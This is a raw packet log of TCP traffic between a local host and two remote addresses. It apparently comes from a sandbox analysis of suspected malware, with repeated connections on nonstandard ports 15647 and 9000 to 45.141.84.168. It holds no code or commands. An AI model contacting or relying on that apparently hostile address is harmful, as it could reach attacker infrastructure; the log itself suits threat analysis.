Nov 28, 2024 09:53:31.555844069 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.555852890 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.555964947 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.555969000 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.616105080 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.664136887 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.664248943 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.664293051 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.670034885 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.672719002 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.672749043 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.713748932 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.717087030 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.717120886 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.784187078 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.784223080 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.784288883 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.843137026 CET	9000	49795	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.843240023 CET	9000	49795	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.844695091 CET	49795	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.844846964 CET	49795	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.870585918 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.875722885 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.875756979 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.904206038 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.904675007 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.953799009 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.956631899 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.956660032 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.958631992 CET	49796	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.959404945 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.964744091 CET	9000	49795	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.994818926 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.994911909 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.007333994 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.024615049 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.074496031 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.078388929 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.078445911 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.078599930 CET	9000	49796	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.080708981 CET	49796	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.081223011 CET	49796	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.114840984 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.114960909 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.115075111 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.130042076 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.147598982 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.149883986 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.195339918 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.201143026 CET	9000	49796	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.235029936 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.267515898 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.275569916 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.286256075 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.306807995 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.317512989 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.325288057 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.325294971 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.361552000 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.396080017 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.396110058 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.422177076 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.426832914 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.426893950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.467335939 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.478190899 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.480591059 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.486236095 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.486264944 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.491096973 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.520623922 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.531337023 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.547369957 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.547457933 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.637681007 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.637747049 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.667406082 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.681896925 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.723751068 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.723773956 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.757307053 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.757761002 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.769666910 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.769752026 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.769769907 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.769817114 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.775204897 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.775213003 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.778564930 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.778573036 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.877906084 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.889755011 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:32.890290022 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:32.922014952 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.925837994 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.925885916 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.925906897 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.948651075 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.948677063 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.951704025 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.951709986 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:32.957863092 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:32.957880020 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.010337114 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.016660929 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.100212097 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.127012968 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.130575895 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.130605936 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.136671066 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.136800051 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.220815897 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.256833076 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.256889105 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.346973896 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.367096901 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.370255947 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.370316982 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.370342970 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.370373964 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.370379925 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.372714996 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.372720957 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.376895905 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.377070904 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.436659098 CET	9000	49796	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.436767101 CET	9000	49796	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.437773943 CET	49796	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.437916040 CET	49796	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.467168093 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.468689919 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.497129917 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.529788971 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.533179998 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.533216953 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.533325911 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.533333063 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.553225994 CET	49797	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.557749987 CET	9000	49796	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.571469069 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.575015068 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.575045109 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.587321997 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.588589907 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.588685036 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.673206091 CET	9000	49797	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.676666021 CET	49797	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.676810026 CET	49797	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.707545996 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.707636118 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.708573103 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.772800922 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.776197910 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.776223898 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.796732903 CET	9000	49797	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.827641010 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.827723026 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.919049025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:33.920213938 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:33.931746960 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.934972048 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.935050964 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.935076952 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.935209990 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.935214996 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.937706947 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:33.937711954 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:33.947664976 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.021559000 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.027568102 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.027605057 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.028274059 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.028279066 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.038150072 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.038235903 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.040177107 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.132946014 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.136179924 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.136203051 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.158107996 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.158176899 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.158195019 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.250741005 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.250824928 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.278300047 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.368763924 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.368837118 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.370731115 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.377441883 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.380424023 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.380449057 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.420620918 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.473772049 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.473784924 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.489063025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.489075899 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.489188910 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.491394997 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.491406918 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.540461063 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.547713041 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.547725916 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.574261904 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.574270010 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.578762054 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.581207037 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.581288099 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.629998922 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.652029991 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.699333906 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.701256990 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.720752001 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.721947908 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.741637945 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.786309958 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.819659948 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.840852976 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.864393950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.883984089 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.911678076 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:34.941627026 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.945148945 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.945204020 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:34.945216894 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:34.958137989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:34.989371061 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.003906965 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.033323050 CET	9000	49797	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.033389091 CET	9000	49797	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.033442020 CET	49797	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.038218975 CET	49797	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.051110029 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.098741055 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.117316008 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.141738892 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.142811060 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.143114090 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.146745920 CET	49798	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.148235083 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.148255110 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.150427103 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.151639938 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.151658058 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.158082008 CET	9000	49797	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.162507057 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.208117008 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.214389086 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.254998922 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.315372944 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.315433025 CET	9000	49798	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.315486908 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.315521955 CET	49798	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.315681934 CET	49798	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.435282946 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.435353994 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.437068939 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.437078953 CET	9000	49798	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.553114891 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.555234909 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.555322886 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.558165073 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.599334002 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.626511097 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.640412092 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.643763065 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.643838882 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.643846989 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.647984982 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.647996902 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.648792028 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.649329901 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.649348974 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.651022911 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.675254107 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.676882029 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.676915884 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.691332102 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.765799999 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.796806097 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.796892881 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.836827993 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.880039930 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:35.882236004 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.885704994 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:35.885721922 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:35.917157888 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:35.919146061 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.007235050 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.007323027 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.039535999 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.044548988 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.047617912 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.047677040 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.047699928 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.055380106 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.055397034 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.056353092 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.057781935 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.057801962 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.058702946 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.099337101 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.127273083 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.128675938 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.217740059 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.218316078 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.245692968 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.248703003 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.250017881 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.251688957 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.251714945 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.301886082 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.380094051 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.380163908 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.447015047 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.459243059 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.459326982 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.461160898 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.461194038 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.500304937 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.500406981 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.514836073 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.514945030 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.551894903 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.551913023 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.564096928 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.564114094 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.617167950 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.620789051 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.620806932 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.620825052 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:36.620829105 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:36.624092102 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.624140978 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.625390053 CET	9000	49798	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.625478029 CET	9000	49798	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:36.625530005 CET	49798	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:36.625613928 CET	49798	9000	192.168.2.4	45.141.84.168
